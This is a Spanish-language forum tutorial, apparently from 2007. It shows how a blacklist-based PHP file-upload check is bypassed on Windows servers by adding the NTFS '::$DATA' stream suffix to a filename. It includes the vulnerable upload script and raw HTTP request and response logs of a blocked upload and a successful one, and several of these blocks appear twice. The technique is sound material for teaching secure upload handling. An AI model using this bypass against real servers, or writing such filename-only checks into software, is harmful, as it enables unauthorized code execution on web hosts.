Practicamente, podemos engañar a un sistema programado con un "blacklist" para subir archivos.. es decir.. supongamos que tenemos el siguiente programa en PHP:
Código:
<?php
$dirx = "ims";
function subeimagen(){
global $dirx;
if (isset($_FILES['attachment']['name']) && $_FILES['attachment']['name'] != ''){
if(substr($_FILES['attachment']['name'],-4)!=".php"){
if(!move_uploaded_file($_FILES['attachment']['tmp_name'],"$dirx/".$_FILES['attachment']['name'])){
// error no se que paso
die("error");
}
@chmod("$dirx/".$_FILES['attachment']['name'], 0644); // xD
}else{
echo "NO PHP!";
}
}else{
die("NO HAY ARCHIVO!!!!");
}
}
if(isset($_FILES['attachment']['name'])){
subeimagen();
}else{
?>
<form method=POST ENCTYPE="multipart/form-data">
<input type=file name=attachment>
<input type=submit>
</form>
<?php
}
?>
Este es un sistema que proteje al servidor de que subar archivos PHP con "black listing", es decir, permite todo menos lo que esta en la "lista negra".$dirx = "ims";
function subeimagen(){
global $dirx;
if (isset($_FILES['attachment']['name']) && $_FILES['attachment']['name'] != ''){
if(substr($_FILES['attachment']['name'],-4)!=".php"){
if(!move_uploaded_file($_FILES['attachment']['tmp_name'],"$dirx/".$_FILES['attachment']['name'])){
// error no se que paso
die("error");
}
@chmod("$dirx/".$_FILES['attachment']['name'], 0644); // xD
}else{
echo "NO PHP!";
}
}else{
die("NO HAY ARCHIVO!!!!");
}
}
if(isset($_FILES['attachment']['name'])){
subeimagen();
}else{
?>
<form method=POST ENCTYPE="multipart/form-data">
<input type=file name=attachment>
<input type=submit>
</form>
<?php
}
?>
En fin.. fuera de que podemos explotar muchas otras vulnerabilidades, aqui lograremos subir un archivo .php, y hacer que este programa no lo detecte.
Para empezar, al tratar de enviar un PHP, sucederá esto:
Código:
localhost [127.0.0.1] 80 (http) open
POST /sube.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-mx,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/sube.php
Content-Type: multipart/form-data; boundary=---------------------------284491965211180
Content-Length: 228
-----------------------------284491965211180
Content-Disposition: form-data; name="attachment"; filename="BFC.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------284491965211180--
HTTP/1.1 200 OK
Date: Thu, 07 Jun 2007 04:11:49 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Content-Length: 7
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
PHP NO!
sent 793, rcvd 230
POST /sube.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-mx,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/sube.php
Content-Type: multipart/form-data; boundary=---------------------------284491965211180
Content-Length: 228
-----------------------------284491965211180
Content-Disposition: form-data; name="attachment"; filename="BFC.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------284491965211180--
HTTP/1.1 200 OK
Date: Thu, 07 Jun 2007 04:11:49 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Content-Length: 7
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
PHP NO!
sent 793, rcvd 230
que lastima no? no podemos subir archivos PHP, sinembargo, existe una funcionalidad en el Sistema de Archivos NT, que nos permite generar contenido "oculto" en otros archivos.. (http://www.securityfocus.com/infocus/1822).Todos los archivos contienen almenos 1 "stream" llamado $DATA, y es donde esta el contenido del archivo.. de esta forma, por ejemplo en C, si hacemos:
fopen("archivo.php::$DATA","w");
esto regresará el mismo handle a si hicieramos
fopen("archivo.php","w");
o en BATCH:
type archivo.php
regresara lo mismo que
type archivo.php::$DATA
entonces, que pasará si subimos un archivo con el nombre..
archivo.php::$DATA? pues en windows, y SOLO EN WINDOWS, el archivo será aceptado como válido, y será guardado solo como archivo.php.
Miremos el ejemplo:
Código:
localhost [127.0.0.1] 80 (http) open
POST /sube.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-mx,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/sube.php
Content-Type: multipart/form-data; boundary=---------------------------284491965211180
Content-Length: 228
-----------------------------284491965211180
Content-Disposition: form-data; name="attachment"; filename="BFC.php::$DATA"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------284491965211180--
HTTP/1.1 200 OK
Date: Thu, 07 Jun 2007 04:12:34 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
<HTML>
<HEAD>
<title>Index.html</title>
<FRAMESET cols="*">
<FRAME SRC="inicio.php">
</FRAMESET>
</HEAD>
</HTML> sent 793, rcvd 337
POST /sube.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-mx,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/sube.php
Content-Type: multipart/form-data; boundary=---------------------------284491965211180
Content-Length: 228
-----------------------------284491965211180
Content-Disposition: form-data; name="attachment"; filename="BFC.php::$DATA"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------284491965211180--
HTTP/1.1 200 OK
Date: Thu, 07 Jun 2007 04:12:34 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
<HTML>
<HEAD>
<title>Index.html</title>
<FRAMESET cols="*">
<FRAME SRC="inicio.php">
</FRAMESET>
</HEAD>
</HTML> sent 793, rcvd 337
el archivo se subió con éxito, y por algun motivo que desconozco, me regresó la petición como si hubiera sido hecha a index.php.
Bueno, es todo chavos

Saludos!!










Autor




En línea






